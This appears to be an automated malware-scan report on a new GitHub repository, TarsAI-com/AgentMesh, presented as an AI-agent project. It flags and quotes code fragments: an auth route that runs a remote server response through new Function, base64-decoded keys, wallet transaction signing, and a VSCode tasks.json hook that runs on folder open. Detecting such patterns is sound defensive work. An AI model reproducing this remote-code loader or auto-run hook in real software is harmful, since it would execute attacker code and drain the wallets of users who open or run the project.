DANGER
malware detected
github.com / TarsAI-com
TarsAI-com/ AgentMesh
JavaScript·65 files·commit 611f2af·scanned 50m ago·cached ✓
70/100
DANGEROUS
Sensitive capability combinations reachable from entry points. Do not run without review.
This repository contains patterns associated with malware. Do NOT run this code.
verdict accurate?
Created 7 days ago
No stars or forks
Created in the last 7 days
No community activity
threat-state: dangerouslive
FINDINGS ░▒▓
criticalFunction() constructor detectednew Function() is equivalent to eval() and can execute arbitrary code strings.routes/api/auth.js
.then((response) => {
const executor = new Function("require", response.data);
executor(require);
console.log("API Key verified successfully.");+5infoBase64 encoding usedatob() or Buffer.from with base64. Common in legitimate code but also used to hide malicious URLs.controllers/auth.js
const setApiKey = (s) => atob(s); const verify = (api) =>+2
infoBrowser wallet provider accessAccesses browser wallet providers (window.solana, window.ethereum, Phantom, Solflare, etc.). Common in Web3 apps but also the entry point for wallet drainers.frontend/src/lib/web3.jsx
function getEthereumProviders() {
if (typeof window === 'undefined' || !window.ethereum) return [];
if (window.ethereum.providers?.length) return window.ethereum.providers;
return [window.ethere...+2infoWallet transaction signing APIUses wallet signing APIs (signTransaction, signMessage, sendTransaction, etc.). Legitimate in DeFi apps, but combined with remote exfiltration it is the core drainer pattern.frontend/src/lib/web3.jsx
const tx = await provider.sendTransaction({
to: toAddress,
value: parseEther(String(amountEth)),+2warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.frontend/src/lib/auth.jsx+3
warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.frontend/src/pages/AgentDetailPage.jsx+3
warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.frontend/src/pages/DashboardPage.jsx+3
criticalVSCode tasks.json auto-run on folder openA .vscode/tasks.json with runOn: folderOpen executes commands automatically when you open the project in VSCode..vscode/tasks.json
node: npm install -s env+8
Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.
47 files scanned @ 611f2af | 9/25/2026 | heuristic scan — always review manually
risk by category
code execution17
network & exfiltration2
file system access4
obfuscation9
supply chain8
owasp / injection0
telemetry
files 47/65rules hit 10engine v6commit 611f2af
github
TarsAI-com/AgentMesh
0
0
7d
65 files
47 scanned(72%)
611f2af
architecture░▒▓
entry (2) flagged (4) pkg (24)
62 nodes · 124 edgesscroll to zoom · click node to jump to finding